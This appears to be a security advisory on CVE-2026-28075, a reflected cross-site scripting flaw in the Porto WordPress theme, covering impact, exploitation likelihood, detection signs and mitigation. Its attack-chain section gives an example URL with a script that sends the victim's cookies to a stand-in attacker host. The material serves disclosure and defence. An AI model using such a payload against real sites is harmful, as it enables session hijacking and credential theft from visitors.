CVE-2026-28075: 
WordPress vulnerability analysis and mitigation

CVE-2026-28075 is a Reflected Cross-Site Scripting (XSS) vulnerability in the Porto WordPress theme developed by p-themes. It affects all versions of the Porto theme up to and including 7.6.2, with no official patch available at the time of disclosure. The vulnerability was discovered by João Pedro S Alcântara (Kinorth), reported on September 11, 2025, and published by Patchstack on February 27, 2026. It carries a CVSS v3.1 base score of 7.1 (Medium) (Patchstack).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-site Scripting). It is a reflected XSS flaw, meaning user-supplied input is not properly sanitized or encoded before being reflected back in the HTTP response, allowing malicious scripts to execute in the victim's browser. Exploitation requires no authentication (unauthenticated attacker) but does require user interaction — specifically, a victim must click a crafted malicious link or visit a specially crafted URL. No detailed technical write-up or public PoC code has been published beyond the Patchstack advisory (Patchstack).

Successful exploitation allows an attacker to inject and execute arbitrary JavaScript in the context of a victim's browser session on the affected WordPress site. This can lead to session hijacking, credential theft, redirection to malicious sites, defacement via injected HTML/scripts, or delivery of malware to site visitors. The scope is changed (S:C in CVSS), meaning the impact extends beyond the vulnerable component to the victim's browser environment, with low confidentiality, integrity, and availability impacts (Patchstack).

No known active in-the-wild exploitation has been reported for CVE-2026-28075 at this time. The EPSS score is approximately 0.029% (0.000290), indicating a low probability of exploitation in the near term. No exploit kits or threat actor attribution have been identified. Patchstack notes that vulnerabilities of this class are commonly used in mass-exploit campaigns targeting WordPress sites at scale, and has issued a virtual patch/mitigation rule for its subscribers (Patchstack).

1. Reconnaissance: Identify WordPress sites using the Porto theme (versions ≤ 7.6.2) via passive techniques such as HTTP response headers, HTML source inspection, or tools like WPScan.
2. Identify vulnerable parameter: Locate the specific URL parameter(s) in the Porto theme that reflect unsanitized user input back in the HTTP response (exact parameter names are not publicly disclosed).
3. Craft malicious URL: Construct a URL containing a reflected XSS payload in the vulnerable parameter, e.g., https://victim-site.com/?vulnerable_param=<script>document.location='https://attacker.com/steal?c='+document.cookie</script>.
4. Deliver to victim: Send the crafted URL to a target user via phishing email, social engineering, or other means to induce them to click the link.
5. Payload execution: When the victim clicks the link and loads the page, the injected script executes in their browser, enabling session cookie theft, credential harvesting, or further malicious actions (Patchstack).

• Network: HTTP GET or POST requests to WordPress pages with URL parameters containing encoded JavaScript payloads (e.g., <script>, javascript:, onerror=, onload= patterns in query strings); unusual outbound connections from victim browsers to unknown external domains shortly after visiting the site.
• Logs: Web server access logs showing requests with XSS payloads in query parameters directed at Porto theme endpoints; repeated requests from varying IPs with similar payload structures indicative of automated scanning.
• Browser/Client-Side: Unexpected redirects or pop-ups experienced by site visitors; reports of session cookies being invalidated or accounts being accessed from unfamiliar locations after visiting the site.

As of the disclosure date, no official patch from the Porto theme developer (p-themes) is available for versions ≤ 7.6.2. Site owners are advised to monitor the Porto theme's update channel and apply any released patch immediately. As an interim measure, Patchstack has issued a virtual patching/mitigation rule for its subscribers that blocks exploitation attempts without requiring a code-level fix. Site administrators unable to update should consider temporarily disabling the Porto theme or consulting their hosting provider for additional WAF-level protections (Patchstack).

Patchstack, which coordinated the disclosure, classified this as a medium-priority vulnerability and noted that reflected XSS flaws of this type are frequently leveraged in mass-exploit campaigns against WordPress sites. The vulnerability was credited to researcher João Pedro S Alcântara (Kinorth). No significant broader media coverage or notable social media commentary has been identified beyond the Patchstack advisory (Patchstack).